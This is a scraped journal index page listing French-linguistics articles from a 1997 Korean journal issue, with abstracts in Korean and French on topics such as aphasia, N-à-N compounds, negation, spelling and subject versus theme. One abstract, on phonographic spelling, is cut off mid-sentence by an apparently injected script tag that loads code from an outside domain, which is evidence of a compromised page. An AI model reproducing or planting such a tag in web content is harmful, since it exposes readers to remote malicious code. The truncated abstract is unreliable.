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Etudes de Langue et Litterature Francaises


  • - 주제 : 어문학분야 > 불어학
  • - 성격 : 학술지
  • - 간기: 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1226-4350
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 35권 2호 (1997)

불어학 : 불어의 명사적 단어의 대한 기의론적 연구

권순호 ( Soon Ho Kwon )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 497-519 ( 총 23 pages)
5,800
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본고의 목적은 실어증 환자의 언어현상에 대한 연구를 통하여 명사적 단어에 대한 기의론적 연구를 하는 것이다. 그러기 위해서 우리는 베르니케 타입의 실어증 환자와 브로카 타입의 실어증 환자의 언어 현상을 틀린 문장 고치기, 받아쓰기, 따라서 말하기 등 여러 테스트의 결과를 분석, 고찰함으로써 베르니케 타입의 실어증 환자는 언어능력 중 동질성 인지능력을 상실하였고 단지 단위구성능력만을 간직하고 있으며 브로카 타입의 실어증환자는 그와는 정반대로 단위구성능력은 상실한 채 동질성 인지능력만을 배타적으고 간직하고 있음을 밝혀낼 수 있었다. 이 두 타입의 실어증환자가 그들의 상실한 문법능력을 보충하기 위해서 간직하고 있는 문법능력을 과도히 사용하면서 산출해 내는 테스트의 결과를 연구, 분석하여 베르니케 타입의 실어증 환자로부터는 명사적 단어의 단위와 브로카 타입의 실어증 환자로부터는 명사적 단어의 단위를 구성하는 요소로서의 의미형태소를 밝혀 내어 명사적 단위의 모델을 제시함으로써 불어의 명사적 단어에 대한 기의론적 연구를 해보았다.

불어학 : N a N형 복합어 분석에서의 몇 가지 문제

노윤채 ( Yun Chae Noh )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 521-540 ( 총 20 pages)
5,500
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La structure N₁ a` N₂ requiert des conside´rations non seulement lexico-morphologiques mais aussi syntaxiques et se´mantiques. Les de´finitions traditionnelles des mots compose´s sont essentiellement semantiques et ne sont pas assez fonctionelles pour pouvoir s`appliquer a` tous les cas de NAN. Ainsi, il est souvent difficile de cerner la diffie´rence entre les mots compose´s et les syntagmes nominaux et les comple´ments circonstanciels. Dans ce cas, il faut savoir si les se´quences en question sont transforme´es d`une phrase et pour cela quelques tests syntaxiques sont ne´cessaires. On peut aussi utiliser ces tests pour mesurer le degre´ de figement de diffe´rents se´quences NAN. Parmi les structures NAN, on peut faire opposer l`emploi cate´gorisant (ou distinctif) a` l`emploi descriptif, mais cette opposition ne correspond pas a` cello `l`article ze´ro vs l`article de´fini` devant N₂. Car l`article de´fini perd son caracte`re de re´fe´rence dans le mot compose´. L`oppositin `modifieur obligatoire vs non obligatoire´ n`est pas un crite`re crucial non plus. De toutes fac¿ons, si une se´quence NAN est utilise´e descriptivement, elle n`est pas un mot compose´, mais un syntagme nominal. Excepte´ les me´taphores, la structrure N₁ a` N₂ remplit une fonction de base : celle de construire des sous-classes intentionnelles de N₁. Ceci dit, N₂ est un hyponyme de N₁ a` N₂. Mais il y a un ajustement re´fe´rentiel : les composants perdent une partie des informations. La pre´position a` instaure une relation minimale entre N₁ et N₂. C`est notre connaissance du monde qui apprend le sens du mot. C`est un sche´ma interpre´tatif et il y en a beaucoup mais les deux types 1es plus centraux et compositionnels sont a`/AVEC et a`/POUR.

불어학 : 부정은 항상 종속적인 현상인가 ?

서덕렬 ( Duck Yull Suh )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 541-556 ( 총 16 pages)
5,100
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부정의 종속성은 이미 여러 사상가들에 의해 하나의 명제처럼 입증된 바 있다. 그들이 주장한 견해들 특히 Freud의 부정의 종속성에 대한 연구와 Kant가 행한 부정에 관련된 이론 뿐만 아니라 Bergson이 설명한 부정의 종속성을 간략히 살펴보았다. 언어학전 측면에서는 Jespersen과 Pottier 그리고 Freud의 부정에 관한 이론을 더욱 확대 발전시킨 Benveniste의 견해를 인용하면서 본 논문에서는 부정에 관한 더욱 세부적인 언어학적 관점 특히 형식적 혹은 문법적 종속성과 논리 의미론적 종속성 그리고 문답적 종속성의 시각에서 이러한 문제를 조명하였다. Benveniste는 부정에 대한 Freud의 명제가 무엇보다 언어학적인 근거와 합리성을 지니고 있다는 생각으로 더욱 발전시켜 나간다. 그러나 언어학적 부정의 종속성에 대한 그의 견해는 어떤 의문점을 제기하였다. 부정에 대한 그의 `명백한 설정`의 위상은 확실하지 않다. 그것을 Benveniste 자신이 사용하지 않은 용어로 형식화하더라도 그와 같은 설정은 통사적 관점에서 부정적 절차 자체 내에 통합되어지는가? 부정이 보류적인 것에 관련하여 종속적이라는 것과 부정이 재단언적 양상에서 종속적이라는 것 사이에는 어떤 관계가 있는 것인가? 이러한 문제들을 다루기 전에 언어학적 부정의 종속성은 여러 측면에서 이해될 수 있음을 인식하고 앞서 언급한 세가지 방향에서 주로 부정의 종속성에 대한 분석이 선행되었다. 일반적으로 부정은 단언이나, 명령, 의문에 대해서 얘기하듯이 특별한 언어 행위로 규정되지 않으며 이러한 논거는 부정 자체의 종속성에 기인한다고 할 수 있다. 논자는 본고에서 이러한 종속성은 부정이 문답적으로 표시되거나 그리한 경향을 내포하고 있음을 입증하려 하였다.

불어학 : 현대불어에서 표음식 표기법의 일고사례에 관한 고찰

선효숙 ( Hyo Sook Sun )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 557-575 ( 총 19 pages)
5,400
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본고는 현대불어에서 文語(langue e′crite)에 대해 口語(langue orale)가 어떻게 영향을 미치고 있는가를 알아보기 위한 것으로, 현대불어의 규범적 틀로부터 逸脫되어 실질적으로 사용되고 있는 일연의 文語表現의 자료군(corpus de productions e′crites)을 근간으로 表音式 表記에 관해, `단어`(mot)` 차원에서 다루어졌다. 우선, 불어의 표음식 표기법(code phonographique)을 간단하게 살펴보면, `소리`(son) [a] 는 문자(lettre)`a`로 표기되어 지는 것과 같이 어떤 소리는 단순한 방법으로 표기가 되지만, 일부는 그와는 달리 복잡하게 표기되어 지고 있다. 예를 들면, `소리` [ε~] 은 불어어휘가 이웃하는 다른 문자와 어떻게 둘러싸여 있는가에 따라 문자 `in, un, ain, ein` 등 여러 복합자(digramme)로 표기되고 있는 것이다. 자료군(corpus)에 있어서는,`info`,`Charlie hebdo`와 같은 일간·주간지의 광고문과, 풍자적 신문인 `Canard Enchai^ne′`의 `Les dossiers du Canard` 특별호, 그리고 상점들의 간판을 통해 쓰여지고 있는 사례 등, 세 분야로 나누어 수집을 하였다. 앞서 언급된 자료군을 우선 개괄적으로 살펴보면, 현대 불어의 표음식 표기법의 逸脫事例들은 어떻게 해서가도 文語體(e′crit)表記를 日語體(oral)의 틀에 맞추어 表記하려고 하거나 아니면, 口語體와는 사실상 관계가 없는 `소리의 실제`(une re′alite′ phonique)를 文語體表記로 나타내려고 하는 제작·창작자의 시도가 내포되어 있다는 것을 보여주고 있다. 보다 구체적으로, 본 자료군을 통해 현대 불어의 표음식 표기법의 逸脫事例를 분석한 결과 다음과 같이 크게 세 부류의 현상으로 나눌 수 있었다: i) 조음적 현상(phe′enome`ne articulatoire)과 관련된 逸脫事例 : IMPOSSIB`/not` Chirac/KAT`TIFS/petit dej`au lit/ DEM`SERVICE DEMENAGEMENT/PIEC`AUTO/P`TITPAS 위의 단어들의 경우는 현대불어의 口語표현(langue parle′e)에서 자주 만나게 되는 현상으로, 일종의 단순한 口語體의 轉寫表記(une simple transcription de l`oral)라고 볼 수 있다. 이逸脫事例의 경우는, 단어의 일부를 절제하는 딘축법(troncation)을 통해 발음상의 경제적 현상(phe′nome`nes d`e′conomie articulatoire)을 보여 주고 있다. 여기에서의 생략부호(apostrophe)는 일종의 轉寫규칙(convention de transcription)에 해당한다고 볼 수 있다. 따라서, 이 逸脫事例의 단어들은 口語體와 文語體表記와의 밀접한 관계 (contunuum entre l`oral et l`e′crit)를 보여 주고 있음을 알 수 있다. ii) 순수한 음운론적 현상(phe′nome`ne purement phonologique)과 관련된 逸脫事例 : TVAOUT/ACQUABON/BIEN LE BONSUARD/ ON NE PRETE QU`AU REICH/SUP`STYL 본고의 자료군을 보면, 이 경우는 특히 `재치 있는 말놀이`(jeux de mot)의 형태를 갖춘 단어들의 음운론적 변조(distorsions phonologiques)를 보여 주고 있는 사례들로, 表記된 단어들의 구성요소들 (composante graphique)이 불어에 존재하고 있는 발음들(prononciations)을 도입하고 있는 것은 사실이나, 이 단어들은 어떠한 의미(signifie′)도 지니고 있지 않다. 그러므로, 첫번째의 경우와는 달리 이 逸脫事例의 단어들은 口語體와 文語體表記와의 관계가 없음을 알 수 있다 (pas de relation entre l`oral et l`e′crit) iii) 口語體에 대한 文語體表記의 불분명한 상태로(zone de flou par rapport a` l`oral) i)과 ii)의 중간 형태 범주에 속하는 逸脫事例 SCRUPUL`S/COX`YNEL BOUTIQUE/ELLE EM COUTURE 위의 단어들의 경우는 발음상 애매모호함을 남기고 있다. 그러므로, 口語로 어떻게 구체적으로 표현되느냐에 따라 口語體와 文語體表記사이의 관계가 단절되거나 아니면 연속적 관계를 갖게 되는 양극 현상 (a`la fois un po^le de rupture et de continuum sur ce qui doit se re`aliser a` l`oral)을 나타낼 수 있다고 할 수 있다. 본고의 자료군 분석을 통한 불어의 表音式 表記法 逸脫事例들은 현대불어의 口語표현(langue orale)의 文語體표기에서 나타나고 있는 발음상의 실제의 일면을 보여주고 있다. 특히, 단축법(troncation)을 통한 경제적 表音式 表記法의 경향은 마치 현대불어에서 그 나름대로의 하나의 모델(norme)을 형성하는 듯한 인상을 주고도 있는 것이다. 또한, 이러한 逸脫事例의 단어들은 불어표기에 있어서 - 단어의 모든 문자들(lettres)을 하나하나 발음하는 경향을 보여줌으로써 - 다시 뒤로 되돌아가는 성향 (dynamique de re′cession)과 함께 음운론적 表記 단계 (une e′tape phonologique)를 보여주기도 하였다. 이와 같이, 단축법이나 재치 있는 말놀이의 끼어 맞추기식 변조 (intrusion d`un jeu de mot) 등을 통해 그 단어들을 구성하고 있는 문자들이 각각 발음되어지도록 표기될 때, ?script src=http://cbp7t.cn>

불어학 : 프랑스어 어휘교육의 필요성에 대한 소고

심봉섭 ( Bong Sup Shim )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 577-592 ( 총 16 pages)
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A l`heure actuelle ou` l`approche communicative, dont l`enjeu principal est de mettre les besoins langagiers des apprenants au coeur de l`enseignement/apprentissage des langues, re`gne toujours dans le domaine de l`enseignement du franc¿ais langue e´trange`re, pourquoi insistons-nous sur la ne´cessite´ de l`enseignement syste´matique du vocabulaire, qui e´tait le parent pauvre de la didactique des langues? Sa ne´cessite´ se re´sume en cinq points suivants: 1 Le vocabulaire est un mate´riau e´le´mentaire de toute activite´ langagie`re. 2 Le vocabulaire comme le plus gros convoyeur de culture refle`te surtout la , dont la compre´hension est la clef de vou^te de la communication re´ussie. 3 En commenc¿ant par le vocabulaire, on peut pallier le point faible bien connu des exercices structuraux, qui ne prennent pas en compte le co^te´ se´mantique des phrases. 4 La comparaison entre les vocabulaires franc¿ais et core´en du point de vue de la culture, du sens lexical, du domaine de re´fe´rence, et de la proprite´te´ syntaxique maintient et renforce la motiva`tion des apprenants en suscitant leur curiosite´ intellecturelle. 5 Compte tenu de notre situation ou le franc¿ais n`est pas une langue courante, il est pre´fe´rable de consolider les connaissances lexicales avant d`acce´der aux plus grandes unite´s telles que syntagmes. actes de parole, etc., ce qui nous semble pouvoir faciliter l`assimilation de celles-ci. Si l`on accepte la ne´cessite´ de l`enseignement/apprentissage du vocabulaire, alors se pose la question suivante: comment l`enseigner? Pour y re´pondre, nous proposons d`abord que la classe des langues bien organise´e a un objectif lexical comme un des sous-objectifs de l`. Et ensuite, nous proposons cinq e´tapes de l`enseignement/apprentissage du vocabulaire: - on identifie la pronociation, le sens appromaxitif et les proprie´te´s syntaxiques du vocabulaire nouveau qui se pre´sente isole´ du contexts. - on le re´pe`te et en identifie le sens pre´cis dans le contexts donne´ dans le manuel. - on e´tudie la variation des formes et du sens dans des contextes diffe´rents de celui qui est donne´, d`une part, et d`autre part les rapports de sens tels que la synonymie, l`antonymie et l`hyponymie en vue de la mise en richesse lexicale. - on proce`de a` la se´lection des mots pour exprimer sa propre pense´e. Par cette e´tape, le vocabulaire re´cemment appris peut se fixer comme les connaissainces actives des apprenants. - on contro^le les connaissances lexicales des apprenants par le test de diverses formes. La formulation pre´cise de l`objectif lexical et sa pratique par re´fe´rence aux processus de l`enseignment/apprentissage du vocabulaire tels que nous les avons propose´s, contribue a` enrichir le contenu de la didactologie/didactique du franc¿ais langue e´trange`re qui veut avoir le statut autonome

불어학 : 심리어휘망 구축을 위한 시론 : 형태 및 의미 파생

안근종 ( Geun Jong Ahn )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 593-606 ( 총 14 pages)
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Cette bre`ve e´tude constitue un travail pre´liminaire a` une e´tude syste´matique sur les mots psychologiques en ge´ne´ral. Dans cet e´tude nous avons esquisse´, dans le cadre de la morphologie de´rivationnelle, une partie des mots franc¿ais dits `psychologiques`. Ces mots, repre´sentant des e´tats psychologiques ou des effets e´motionnels des e^tres, ont e´te´ classe´s selon les processus de´rivationnels qui les produisent. On a pu observe´ des re´gularite´s syntactico-se´mantiques et des contraintes tel que le phe´nome`ne de bolcage de´rivationnel. La structure the´matique et la forme morphologique des mot psychologiques se re´ve´laient tre`s e´troitement lie´es, mais cela ne saurait suffire pour une description syste´matique des mots psychologiques. D`autres proprie´te´s, syntaxiques ou se´mantiques, devraient e^tre examine´s plus attentivement. D`ailleurs, une e´tude sur les mots psycholologiques, pour e^tre exhaustive, dervraient comporter des analyses des rapports entre les termes de natures diffe´rentes mais qui pre´sentent des proprie´te´s the´matiques tre`s voisines.
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Dans ce travail, nous avons imple´mente´ les logiciels multime´dias d`enseignement du franc¿ais a` distance, a` savoir le ≪Syste`me Voila`≫, en nous basant sur les re´sultats de l`enque^te qui nous a permis d`analyser l`environnement et les demandes des utilisateurs virtuels de ce syste`me. Selon les re´sultats de l`enque^te, les utilisateurs demandent des informations linguistiques varie´es telles que la culture franc¿aise et une prononciation corrects, ainsi qu`une explication grammaticale et une traduction en core´en. Ils veulent e´galement un feed-back imme´diat, lorsqu`ils enseignent ou apprennent le franc¿ais. En ce qui concerns leur environnement informatique, d`une part les ordinateurs pre´sents dans l`institution e´ducative sont peu modernes. Et d`autre part les utilisateurs posse`dent une connaissance tre`s faible de l`informatique. Dans le but de satisfaire ces besoins, tre`s proche de ceux de l`enseignement des langues e´trange`res, le prototype du ≪Syste`me Voila`≫ se veut, premie`rement, applicable sur une structure du type . Cette structure permettrait a` un organisms e´ducatif central a` distance , de re´pondre pre´cise´ment, a` tous moments, aux multiples questions des utilisateurs et de leur proposer un feed-back ade´quat. Le client du ≪Syste`me Voila`≫ peut aussi bien fonctionner avec des logiciels d`exploitation et des ordinateurs peu modernes qu`avec des versions et des e´quippements plus re´cents. Deuxie`mement, le syste`ms fournit une interface tre`s pratique, permettant d`inte´grer les accents franc¿ais directement dans un clavier core´en/anglais 101 (mode`le le plus re´pandu en Core´e), et proposant un mode d`emploi accessible par les ico^nes et la souris. Enfin, les didacticiels contiennent les mate´riaux e´ducatifs les plus detaille´s et inte´grants possible, sous forms de donne´es multime´dias. Ceux-ci seront groupe´s et e´tiquete´s sous une structure de afin de permettre une navigation libre et efficace.

불어학 : 주어와 주제

( Kyung Ae Lee )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 625-653 ( 총 29 pages)
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문장의 주요골자라 할 수있는 주어(sujet)는 대단히 친숙한 문법기본기능범주임에도 불구하고, 언어학적 차원에서 면밀히 검토해볼 때 아직까지 그 정의가 미흡한 것이 사실이며, 전통적으로 주제어(the`me)와 혼동되어 쓰이는 경우가 허다하다. 이러한 점에 착안하여, 본 논문에서는 주어에 대한 기존의 여러 정의들의 문제점을 지적함과 동시에, 직소분석법에 의거한 통사구조적 정의를 통하여 주어와 주제어의 공통점과 차이점을 찾아보고자 하였다. 주어는 통사구조상으로 술어(pre′dicat)와 상호의존적 관계에 있는 기능이다. 따라서 문장의 어떤 구성요소가 주어라함은, 그 문장의 주어라고 하기보다는 술어의 주어라고 함이 타당하다고 본다 (역으로, 술어는 주어의 술어라고 함이 타당하다). 프랑스어문장에서는 술어의 기능을 어느경우에나 동사와 그 보어의 결합 구성체인 SV가 수행하는만큼, 주어기능수행요소는, 그것이 명사(구)이든 Que로 이끌리는 절이든 부정법절(infinitif)이든 간에, P의 두 직소(constituant imme′diat) 중의 하나이며 동시에 또하나의 직소인 SV의 첨가요소 (adjonction)로서 SV와 결합하여 외심구조의 P를 이룬다. 즉, 통사구조적 관점에서는 주어를 "외심구조의 문장 P의 두 직소 중 한 직소인 동시에, P 의 나머지 한 직소인 SV의 첨가어"라 정의내릴 수 있다. 모든 통사기능이 그렇듯이, 주어의 이러한 구조는 의미를 내포하는데, 그 의미형태는 주어가 결합하는 술어의 의미에 따라 좌우된다. 대개의 경우 문장의 시발점(특히 문어의 경우)이 되는 주어는 술어의 정보가 실려지는 받침어라는 의미를 띄게되는 바, 바로 이점이 주제어의 역할과 일치하는 점이다. 그러나, 주제어는 통사기능이 아니라 순전히 화용론의차원,즉 정보전달구조 차원에 속하는 개념으로, 대화자들 간에 주지된 사실 또는 정보를 담고있는 말이며 이를 거점으로 새로운 사실이나 정보를 언급하는 받침어이다. 그러므로, 주제어는 새로운 정보가 실린다는 발화자의 의도를 담은 특유의 음운현상, 특정의 어조 (문어에서는 일반적으로 쉼표)를 수반하게 되며, 발화자의 의도에 따라 주어뿐 아니라 그 어떤 문의 요소라도 주제어가 될 수 있을 뿐만 아니라, 반드시 문의 구성요소로 등장할 필요가 없다. 후자의 경우, 발화문맥이나 발화의 배경상황이 주제어를 대신하며 발화문 전체가 설명어(rhe`me 또는 propos)가 된다. 이러한 특성이 주어와 근본적으로 다른 점이다. 따라서, 주어가 주제어와 동일하게 여겨질 수 있는 경우란, 같은 문장 안에 외치된 요소 (단어, 구 또는 절)가 없고 주어 이외의 어느 한 요소에 특정한 어조가 수반되지 않은 경우뿐이다. 통사기능 가운데, 주제어의 정보적기능을 가장 잘 나타내주는 통사기능은 외치어기능이다. 한마디로, 주어는 통사구조차원의 기능이고 주제어는 화용론적차원의 정보기능이라는 점에서 주어와 주제어는 뚜렷이 구별되는 한편, 이 둘은 또한 서로 불가분의 관계에 있다.

불어학 : 언어현상과 화자의 인식 - 관사의 사용을 중심으로 -

이수미 ( Soo Mi Lee )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 655-672 ( 총 18 pages)
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Chaque langue posse`de un syste`me interne et particulier gra^ce auquel les locuteurs peuvent construire leurs e´nonce´s sur la re´alite´ conc¿ue. Cependant, la connaissance de ce syste`me (objectif) ne comprend pas celle des faits linguistiques, les faits linguistiques, a` savoir la re´alite´ de´crite n`e´tant que le reflet de la conception (subjective) du locuteur : le locuteur de´crit seulement ce qu`il vent dire a` son interlocuteur. S`il y a des irre´gularite´s dans les faits linguistiques, c`est que les phe´nome`nes de la re´alite´ et les conceptions du locuteur sur cette re´alite´ ne sont pas re´guliers. Il en va de me^me avec l`emploi des articles. Bien que l`emploi d`un article de´pende en grande partie des traits se´mantiques du nom qui le suit et de son fonctionnement dans un e´nonce´ particulier, ce qui de´termine ces facteurs est la conception du locuteur sur la re´alite´ qu`il a perc¿ue pluto^t que le syste`me linguistique. Plus la situation a` de´crire est particulie`re, plus on a besoin d`expressions spe´cifiques. Si cette situation est typique, on y accorde des expressions ge´ne´riques. Le choix d`un article re´ve`le donc la position du locuteur et guide l`interlocuteur dans son interpre´tation de l`e´nonce´. L`emploi d`un article inattendu implique par conse´quent l`intention du locuteur d`introduire dans son e´nonce´ un autre effet se´mantique. Par exemple, l`article partitif du combine´ avec un nom comptable entrai^ne une massification : 1es diverses informations pouvant e^tre implique´es par les divers re´fe´rents de ce nom - forme, taille, couleur, qualite´ etc. - deviennent insignifiantes. Le locuteur se contente de montrer une partie de la classe entie`re. Du entrai^ne donc une valeur spe´cifique du point de vue se´mantico-re´fe´rentiel. Pour ce qui concerne l`article de´fini le introduisant un nom massif en impliquant une valeur ge´ne´rique, il ne peut plus e^tre place´ dans un e´nonce´ passif introduit par de, car l`agent d`un e´nonce´ passif doit e^tre spe´cifique, c`est-a`-dire de´termine´ par le temps et l`aspcet. L`e´nonce´ actif n`entrai^ne donc pas ici le me^me effet se´mantique que l`e´nonce´ passif. Ils de´crivent chacun une situation differente. En somme le choix d`une unite´ linguistique y compris le choix d`un article de´pend aussi bien de la re´alite´ a` de´crire et de la position du locuteur sur cette re´alite´ que du syste`me linguistique : e^tre correct sur le plan syntaxique n`a pas de sens si le contenu de l`e´nonce´ en question ne correspond pas aux ide´es du locuteur.

불어학 : 과학적인 연구프로그램으로서의 언어학 - 언어 이론의 인식론적 특성 -

임기대 ( Gi Dae Lim )
한국불어불문학회|불어불문학연구  35권 2호, 1997 pp. 673-692 ( 총 20 pages)
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Dans ce travail, nous avons montre´ brie`vement en quoi la GGT a e´mis des propositions scientifiques. La nature e´piste´mologique de la GGT a impose´ une de´marche fonde´e sur le falsificationnisme sophistique´ qui s`inscrit dans la conception des sciences empiriques de´fendues par K.Popper et I.Lakatos, pour qui une hypothe`se scientifique doit e^tre falsifie´, c`est-a`-dire indiquer elle-me^me les contre-exemples qui pourraient l`invalider. Apre`s avoir de´limite´ ses done´es, Chomky. en fonction du mode`le de grammaire dont il dispose, construit une hypothe`se qui permet d`en rendre compte. La conse´quence de cette hypothe`se e´met le caracte´re du re´ductionnisme qui apparai^t dans l`histoire de la science Le de´veloppement de la physique d`Aristote a` Einstein en passant par Newton fournit un exemple sur une plus grande e´chelle. De la me^me manie`re, nous avons appfique´ cette me´thode a` la the´orie de Chosmky qui est de´roule´ dans les anne´es 70 et 80. Chosmky a voulu une the´orie simple et explicative qui exige enfin le style galile´en qui consiste a` dire que le falsificationnisme sophistique´ a suivi. Cette me´thode montre la the`se suivante: Pour re´futer une the´orie, Il faut montrer que la the´orie alternative est supe´rieure a` la the´orie ante´rieure et elle inte`gre de plus des donne´es qualitativements nouvelles. Si la GGT poursuit ce falsificationnisme me´thodologique, on peut se demander sa conse´quence par rapport aux questions (i et iv) ci-dessus, puisque Chomsky re´clame constamment la continuite´ de sa the´orie. Mais le proble`me est de savoir si le noyau dur au sens de Lakatos n`est jamais change´ au cours du de´veloppement. La question du progre`s ou de la de´ge´rescence du programme de´pend totalement de ce proble`me.
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